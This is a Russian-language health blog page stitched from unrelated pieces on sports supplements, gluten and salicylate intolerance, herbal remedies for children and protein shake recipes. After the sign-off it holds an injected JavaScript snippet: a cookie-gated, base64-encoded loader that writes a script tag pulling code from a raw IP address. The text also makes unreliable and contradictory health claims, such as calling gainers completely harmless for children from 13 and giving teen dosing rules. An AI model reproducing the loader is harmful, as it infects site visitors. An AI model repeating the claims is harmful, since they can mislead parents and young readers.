Вредно ли употребление спортивного питания?

В нашей стране все еще остается предвзятое отношение к спортивному питанию и необходимо развеять много мифов, касающихся этих продуктов. Узнайте, с какого возраста можно принимать спортивное питание.

Почему появляется аллергия на глютен

  1. Целиакия — истинная непереносимость. Аутоиммунное заболевание с поражением сразу многих органов. Носит хронический характер и возникает, если есть генетическая непереносимость глютена.
  2. Аллергия на глютен — обратимая реакция иммунной системы на белки клейковины без генетической предрасположенности. В частности, реакция на пшеницу встречается у 60% детей и часто исчезает уже к 12 годам. Как проявляется: заложенность носа, чихание, покраснение кожи, насморк, затрудненное дыхание, диарея.
  3. Нецелиакийная чувствительность к глютену (НЦЧГ) — не аллергическая и не генетически обусловленная реакция на клейковину. Однако она может вызывать типичные признаки непереносимости глютена. Симптомы есть, но нет диагноза генетической болезни или аллергии — значит, это НЦЧГ.

«В чем сила, брат?»

Прежде чем перейти к рассмотрению наиболее полезных, по моему мнению, продуктов спортивного питания, а также тех, которые имел возможность испытать, давайте четко определимся, что же конкретно спортпит может дать, а чего не может.

«В чем сила, брат?», — помните это вопрос из известного фильма «Брат 2». Данила услышал его от своего старшего брата и от него же он узнал ответ, что: «Сила в деньгах». Но по факту это оказалось не совсем так. Вот и в нашем случае не столь однозначен ответ, как это кажется некоторым товарищам.

Следует четко понимать, что каждый продукт спортивного питания создается с определенной целью и на 100% универсальных решений, которые дают все и сразу, не существует. Как нет и волшебных порошков, моментально увеличивающих объемы бицепсов на сантиметры и прибавляющих десятки килограммов к силовым показателям.

Например, протеин или белковый концентрат создавался в качестве источника высококачественного белка, который позволяет добрать нужное количество этого нутриента (1,5–3 г на килограмм веса тела в зависимости от потребностей и целей), если вам не удается этого сделать из обычной пищи. Просто физически не можете впихнуть в себя столько еды, либо ЖКТ не справляется с нагрузкой. Кроме того, за счет быстрой усвояемости протеин является хорошим источником питательных веществ сразу после тренировки или же незадолго до нее, если не успели нормально поесть за 1–1,5 часа до похода в тренажерный зал.

Соответственно, вопрос, который я не раз слышал от новичков, типа: «А на сколько сантиметров я накачаю бицепс с одной банки протеина», — является совершенно бессмысленным. Дружище, ни насколько ты не накачаешь свою «бицуху» с банки протеина, потому что это лишь пищевая добавка, которая сама по себе ничего не даст. А вот при разумном ее применении для улучшения общего качества питания — эффект будет.

Итак, протеин позволяет:

  • скорректировать питание для получения требуемого суточного количества белка;
  • иногда заменить прием пищи, если не успели приготовить или нет времени/возможности спокойно покушать;
  • быстро наполнить кровь необходимыми для восстановления после тренировки аминокислотами (не факт, что в этом есть необходимость сразу же после физической нагрузки, но подобная практика широко используется).

Протеин не способен:

«В чем сила, брат?»
  • сам по себе накачивать мышцы;
  • давать моментальный прирост в силовых показателях (прирост будет за счет роста мышц, в котором протеин принимает участие точно также, как и обычная еда).

BCAA, они же аминокислоты с разветвленными боковыми цепями, помогают быстрее восстанавливаться после физически нагрузок за счёт того, что предотвращают излишнее разрушение мышечных волокон, плюс способны выступать в качестве источника энергии. Это если говорить очень упрощенно, более детально обсудим продукт чуть позже. Кроме того, BCAA очень эффективны во время «сушки», когда хочется избавиться от лишнего жира, но нет желания при этом терять с таким трудом накачанные мышцы. Хотя сами по себе аминокислоты с разветвленными боковыми цепями вам мышцы не накачают.

Итак, BCAA позволяют:

  • быстрее восстанавливаться во время и после физических нагрузок;
  • лучше сохранять мышцы в период «сушки»

BCAA не способны:

  • накачать мышцы сами по себе;
  • дать быстрый и заметный прирост в силовых показателях;

У комплексных аминокислот примерно тот же принцип действия, что и у протеина, а усваиваются они еще быстрее, так как это, по сути, уже разложенный на составные части протеин. На чудо не рассчитывайте, но быстро наполнить кровь полезными веществами сразу после тренировки они смогут.

Есть еще специализированные аминокислоты, но и об их эффектах поговорим подробнее в соответствующем разделе статьи ниже.

Рекомендации диетологов и профессиональных атлетов

Чтобы у наших читателей сложилось полное представление о том, насколько важно правильно принимать пищевые добавки, предлагаю ознакомиться с полезными рекомендациями специалистов:

Рекомендации диетологов и профессиональных атлетов
  • Обязательно нужно обследоваться перед началом и после окончания курса, убедившись, что состояние организма в норме (общие анализы).
  • Помните, что после трехмесячного приема пищевых добавок, необходимо сделать паузу на идентичный промежуток времени. Ребята, не испытывайте свое тело.
  • Спортивное питание может использоваться исключительно в качестве дополнения, а не замены полезной еде.
  • Особенно осторожно следует употреблять жиросжигающие препараты – они повышают температуру организма, вызывая головные боли, тошноту и бессонницу. Лучше придерживаться диетического питания, о пользе которого вы сможете узнать из этой статьи.
  • Выбирайте продукцию только надежных производителей, зарекомендовавших качество своей продукции на международной арене.
  • Друзья, помните, что анаболики – это запрещенные препараты. Не существует оптимальных пропорций и безвредных доз подобных добавок.
  • Не злоупотребляйте приемом пищевых добавок – о вреде подобного явления мы уже узнали, друзья.
  • Проконсультируйтесь с профессионалом о возможности одновременного приема нескольких препаратов (например, протеины и аминокислоты совмещать категорически запрещено).
  • Придерживайтесь определенного графика потребления спортивного питания, соблюдайте инструкцию, рекомендуемую производителем.
Читайте также:  BCAA для мышц — для чего нужен и как принимать

Следуя незамысловатым советам, вы обязательно сможете правильно комбинировать спорт-пит, добиваясь результатов без вреда для здоровья.

Рекомендации диетологов и профессиональных атлетов

Совет от Start-health: «Если принимать разрешенные препараты вместе с пищей, в которой содержится большое количество клетчатки (фрукты, овощи), то процесс усвоения добавок организмом будет проходить без последствий для ЖКТ».

Друзья, вывод может быть только один: прием специальных пищевых добавок необходим только для профессиональных атлетов, желающих достичь «рекордных» результатов. Для новичков, следящих за своей фигурой и периодически посещающих тренажерный зал, употребление спортивного питания – нецелесообразное решение, хотя, конечно, это личное дело каждого.

Рекомендации диетологов и профессиональных атлетов

В случае если вы все-таки решили употреблять спортивное питание, то обязательно проконсультируйтесь перед началом курса у диетологов и медиков, следуя рекомендациям специалистов.

Вы уже пробовали принимать пищевые добавки? Обязательно поделитесь личным опытом с нашими подписчиками. Любая информация, основанная на реальных событиях – способ расширить наш кругозор, взглянув на проблему под новым ракурсом.

Рекомендации диетологов и профессиональных атлетов

Совсем скоро мы вновь встретимся на веб-страницах нашего «здорового» блога. Всем пока, ребята! ? function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Гейнеры

Гейнеры
Гейнеры

Гейнеры – пищевая добавка, предназначенная для увеличения мышечной массы. Они состоят преимущественно из углеводов – от 50 до 75 процентов и на 15-50 процентов из белков. Дополнительно их насыщают витаминными и минеральными добавками, креатином, полезными ненасыщенными жирами, а также пищеварительными энзимами для повышения усвояемости. Сбалансированный состав гейнеров позволяет их применять при интенсивных тренировках, обеспечивая организм энергией за счет углеводов, что позволяет повысить выносливость, а белки восстанавливают мышечную силу после тяжелых нагрузок. Но гейнеры подходят не всем, их не следует принимать человеку, имеющему склонность к лишнему весу или людям, ведущим недостаточно активный образ жизни. Если количество употребляемых углеводов превысит их расход, результатом введения в рацион углеводных добавок будет увеличение массы тела скорее за счет жировых отложений, а не мышечной массы.

Гейнеры
Гейнеры

Гейнеры
Гейнеры

Народные средства

Применение народных средств и отваров может быть эффективным для снятия легких симптомов аллергии.

Многие рецепты легко приготовить в домашних условиях. Например:

Народные средства
  1. Крапива. Залить теплой кипяченой водой 3 ст.л. листьев и дать настояться в течение 30 минут. Можно принимать детям от 3 лет по 100 мл в сутки.
  2. Череда. Залить 0,5 л кипятка 4 ст.л. сырья, настоять в течение часа. Использовать в качестве примочек на раздраженные участки кожи или добавлять в ванную.
  3. Аптечная ромашка. Залить 1 ст. кипятка 1 ст.л. цветов, варить на медленном огне в течение 15 минут. Далее процедить, остудить и давать малышам по 1 ч.л. 3 раза в день, детям от 5 лет – по 0,5 ст.

Важно! Лечение любыми народными средствами можно проводить только после консультации с врачом. Любые отвары и настойки при неправильном применении могут стать причиной ухудшения состояния аллергика.

Салицилаты

Салицилаты – эфиры салициловой кислоты. Они являются натуральными химическими веществами, вырабатываемыми растениями для защиты от таких воздействий окружающей среды как насекомые и различные болезни. Эти эфиры обладают противовоспалительными свойствами. Продукты, богатые салицилатами используются для лечения некоторых заболеваний, например, колоректального рака.

Эти натуральные химические вещества содержатся во многих продуктах, включая фрукты, овощи, чай, кофе, специи, орехи и мед. Кроме этого, салицилаты часто используются в качестве пищевого консерванта и входят в состав лекарственных препаратов.

Попадание в организм салицилатов в чрезмерных дозах может вызвать проблемы со здоровьем. У большинства людей употребление салицилатов в умеренном количестве в составе продуктов питания никаких сложностей не вызывает. Однако некоторые люди страдают чрезвычайной чувствительностью к этим соединениям и даже малые дозы салицилатов могут вызвать осложнения.

Симптомы:

  • заложенность носа,
  • риносинусит,
  • назальный полип,
  • астма,
  • диарея,
  • воспаление кишечника (колит),
  • кожная сыпь.

Так как полное исключение салицилатов из рациона питания невозможно, люди, страдающим от непереносимости, должны избегать продуктов питания с высоким содержанием салицилатов (специи, кофе, изюм, апельсины). А также не использовать косметические и медицинские препараты, содержащие их в своем составе.

Читайте также:  Основные отличия изолята от других видов протеина

Вывод. Салицилаты — натуральные химические вещества, содержащиеся в широком ряде продуктов питания, а также используемые в качестве пищевых консервантов и в медицине. Люди, не переносящие салицилаты, при их употреблении страдают заложенностью носа, диареей и кожной сыпью.

Как приготовить протеиновый коктейль в домашних условиях?

Протеиновый коктейль в домашних условиях для женщин приготовить совсем несложно. Для этого нам понадобятся всего лишь легкоусвояемые белковые продукты, вода или молоко и блендер. Допускается также добавление свежих фруктов и ягод, джемов, меда или овсяных хлопьев, но в этом случае вы приготовите скорее некое подобие гейнера, так как пропорция белков и углеводов будет равняться примерно 50/50. Варьируйте состав коктейля на свое усмотрение, в зависимости от того, какие цели вы преследуете.

Советы по приготовлению

Чтобы добавить в свой коктейль насыщенного фруктового вкуса, используйте низкокалорийные джемы или варенья. Этот продукт сейчас не редкость, его легко можно найти в магазинах спортивного питания или в отделах здорового питания в крупных гипермаркетах. Если вы хотите приготовить низкоуглеводный коктейль, который не содержит лишних углеводов и походит к употреблению на диете, то низкокалорийные джемы – отличный выбор для того, чтобы сделать ваш коктейль вкуснее. Само собой, вкус натурального джема или варенья намного ярче и насыщеннее, но они содержат в своем составе большое количество сахара.

Белковую составляющую домашнего протеинового коктейля обычно составляет творог (обычный, зерненый или мягкий) или аналогичные молочные продукты, например, греческий йогурт. Само собой, будет лучше, если эти продукты будут с пониженным содержанием жира, так как 1 грамм жира содержит примерно 9 калорий. Часто в подобных рецептах встречаются и сырые яйца, но давайте будем откровенными: в употреблении сырых куриных яиц – мало приятного. У них вязкая тягучая консистенция, малая степень усваивания за отсутствия фермента, необходимого для усвоения сырого продукта, высокое содержание жира в желтках, да еще и присутствует риск заразиться сальмонеллезом. И если вопрос с сальмонеллезом еще решается употреблением перепелиных яиц вместо куриных, то остальные проблемы никуда не исчезают. Поэтому белковой основой наших коктейлей будет творог – он содержит, как сывороточный белок, так и казеин, обладает нейтральным молочным вкусом и хорошо размешивается в блендере.

© BurntRedHen —

Как приготовить протеиновый коктейль в домашних условиях?

Рецепты домашних протеиновых коктейлей

Ингредиенты Описание
  • 150 грамм обезжиренного творога
  • 300 мл молока или воды
  • 40 грамм низкокалорийного джема
Данный протеиновый коктейль является самым низкокалорийным из всех в нашем списке, он не содержит в составе лишних углеводов и жиров, и им можно полакомиться даже в условиях строгой низкоуглеводной диеты.
  • 200 грамм обезжиренного мягкого творога или греческого йогурта
  • 400 мл молока или воды
  • 30 грамм грецких орехов
  • 60 грамм свежей малины или голубики
Этот протеиновый коктейль содержит в себе большое количество витаминов, получаемых из ягод, а также ненасыщенные жирные кислоты, понижающие уровень холестерина в крови.
  • 100 грамм зерненого творога
  • 300 мл кефира с низким процентом жирности
  • 1 банан
  • 1 чайная ложка меда
Этот протеиновый коктейль имеет приятный вкус и консистенцию, а небольшое количество простых углеводов в нем сразу восстановит энергию и приведет Вас в чувство после тяжелой силовой тренировки.
  • 150 грамм обезжиренного творога
  • 300 мл молока
  • 1 чайная ложка арахисовой пасты
  • 30 грамм овсяных хлопьев
  • 1 киви
Данный протеиновый коктейль богат ненасыщенными жирными кислотами, простыми и сложными углеводами, и им вполне можно заменить полноценный прием твердой пищи. Также киви богат витамином С (практически в 2 раза больше, чем в апельсинах) и клетчаткой, что улучшает иммунитет и работу пищеварительной система.

Поделиться:

Можно ли ребенку принимать гейнеры?

Наш ответ солидарен с мнениями профессиональных тренеров и медиков:

  • до 13 лет лучше воздержаться от приема спортивного питания и заменить его полноценной полезной пищей. Питайтесь понемногу и часто
  • с 13 лет можно начинать прием гейнерных добавок в маленьких дозах. Принимайте те гейнеры, на которых не указано ограничение по возрасту

Как определить дозу?

Если дозировка для взрослого человека зависит от веса тела, то можете определить порцию для ребенка, учитывая его вес. При этом, не употреблять гейнеры больше двух раз в сутки. Часто производитель гейнера указывает на упаковке просто минимальную дозировку без учета веса спортсмена. Для того, чтобы этот гейнер мог употреблять ребенок с 13 до 18 лет, нужно поделить минимальную дозировку на 2.

  1. Внимательно прочтите состав гейнера на сайте, прежде чем совершить покупку.
  2. Подробно изучите ограничения к гейнеру, если таковые имеются.
  3. Соберите максимально полную информацию о гейнере, который хотите купить.
  4. Прочтите отзывы спортсменов, которые уже принимали гейнер.
  5. Если у ребенка есть какие-то медицинские противопоказания, лучше отказаться от приема гейнерной добавки.
  6. Перед приемом гейнера, ребенок должен пройти обследования у врача и получить нужные рекомендации.
  7. Покупайте гейнер только у проверенных и лучших производителей спортивного питания.
  8. Лучше приобрести дорогой гейнер в надежной точке продаже, чем кормить ребенка дешевым и некачественным продуктом.
Читайте также:  Гейнер для набора веса Лучшие гейнеры для набора массы

Помните!

Гейнеры — это не замена полноценному питанию, а всего лишь добавка! Гейнер будет эффективен только в комплексе с правильными и частыми приемами пищи и с усиленными тренировками.

Итак, гейнеры — совершенно безвредные спортивные добавки.

Более того, гейнеры насыщают организм спортсмена жизненно-важными белками, витаминами и аминокислотами. При этом, важно купить действительно качественный гейнерный порошок от надежных производителей спортивного питания.

Для повышения спортивных результатов, выносливости и для улучшения состояния здоровья, гейнеры могут пить и дети. Оптимальный возраст для начала приема — с 13 лет. Не рекомендуется принимать спортивное питания ребенку, младше указанного возраста. Лучше, чтобы до 13 лет ребенок просто правильно питался качественной пищей.

Прием гейнера значительно улучшит силовые показатели, процесс восстановления после тренировок и ускорит достижение желаемых спортивных результатов.

Будьте здоровы и получайте максимум полезных веществ для своего организма!

Мода на протеиновые добавки среди спортсменов и худеющих женщин уже давно коснулась и обычных подростков, желающих выделяться среди сверстников и корректировать активно формирующееся тело. Однако не все заостряют внимание на том, какую пользу или вред несёт употребление дополнительных белковых продуктов растущему организму и есть ли определённые нормы, по которым можно рассчитать необходимую дозировку протеина по возрасту. Разберёмся в данном вопросе поподробнее.

Осторожно, скам!

В погоне за стройным телом многие люди попадаются на уловки производителей так называемых псевдожиросжигателей. Это разрекламированные препараты, которые, на самом деле, оказываются совсем неэффективными, да еще и часто приводят к различным заболеваниям внутренних органов. Перечислим самые популярные жиросжигатели, которые совсем не помогают в вопросе похудения:

  • Ягоды годжи. Сегодня о них слышали, наверное, даже маленькие дети. Недобросовестные производители уверяют, что с этим чудо-средством можно из необъемной тыквы превратиться в Дюймовочку (при этом во врем курса яко бы можно есть и пить, что хочешь, не заниматься спортом). К сожалению, это обман. Ягоды годжи богаты антиоксидантами, но еще никому они не помогли сбросить много лишних килограммов.

  • Редуксин Лайт. Предназначен для женщин с ожирением. Нельзя путать этот препарат с Редуксином, который неплохо работает. Реудускин Лайт образован конъюгированной линолевой кислотой, витамином Е, желатином, глицерином, водой и лимонной кислотой. Мечты о похудении с таким составом даже возникать не должны. Уж лучше ешьте яблоки.

  • Кетоны малины. Ароматическая добавка, добываемая из ягод малины. Ее используют для ароматизации напитков, продуктов питания, бытовой химии. А вот эффективность кетонов, как жиросжигателя, на сегодняшний день недосказана, поэтому надеяться на их помощь не стоит.

  • Зеленый кофе. Известен, как крутой жиросжигатель, обладающий выраженными термогенными и липотропными свойствами. В реальности лишь незначительно разгоняет метаболизм.

  • Любые чаи для похудения. Они либо выводят жидкость, либо вызывают диарею. После их приема вашим личным кабинетом станет туалет. А вот вес никуда не уйдет.

Не нужно рисковать здоровьем, используя жиросжигающие добавки от неизвестных производителей с непонятными составами. Если хотите похудеть, выбирайте проверенные жиросжигатели, характеризующиеся многочисленными положительными отзывами. Не ставьте стройную фигуру выше здоровья.

Как принимать протеиновый коктейль

Простым людям, не занимающимся силовым тренингом, но имеющим недостаток белка в рационе, следует принимать 2 стандартные порции сывороточного протеина (по 30-35 г) утром и вечером между перекусами.

Спортсменам, регулярно занимающимся физическими нагрузками, рекомендуем придерживаться следующей схемы приема добавки:

  • Утром, после пробуждения. Вид: сывороточный или многокомпонентный. Цель – замедлить катаболические процессы (разрушение мышц), начавшиеся ночью. Отметим, дополнительно следует съесть углеводы (например, овсянку), чтобы наполнить организм энергией;
  • Перед тренировкой за 30-40 минут. Вид: сывороточный, говяжий или яичный. Цель – дать организму белок для поддержания мышц во время занятия. В данном случае также необходимо дополнительно употребить углеводы;
  • Во время тренинга пить белковый порошок не имеет смысла, потому что он усваивается довольно долго. Лучше принять порцию аминокислот или комплекс BCAA;
  • Сразу после тренировки. Вид: сывороточный, яичный или говяжий. Цель – остановить процессы катаболизма, дать мышцам питание для роста и восстановления;
  • Перед сном. Вид: казеиновый или многокомпонентный. Цели – блокировать процессы катаболизма ночью, дать мышцам медленно усваиваемое питание.
  • В дни отдыха и восстановления следует принимать добавку между перекусами.

Несколько слов стоит сказать о жидкости, на которой замешивается протеин.

  1. Самый простой способ – растворить порошок в чистой кипяченой воде. Плюсом такого коктейля является отсутствие дополнительных калорий, минусом – не самый приятный вкус.
  2. Второй вариант приготовления – с молоком. Плюс такого напитка – великолепный вкус, минус – дополнительные калории. Поэтому протеин с молоком не рекомендуется спортсменам, находящимся на строгой «сушке» перед соревнованиями.
  3. Третий способ – размешать протеиновый порошок во фруктовом соке. Преимущество – приятный вкус, недостаток – высокое содержание быстрых углеводов. Если атлет не на сушке, допустимо пить протеин с соком после тренировки для закрытия «углеводного окна».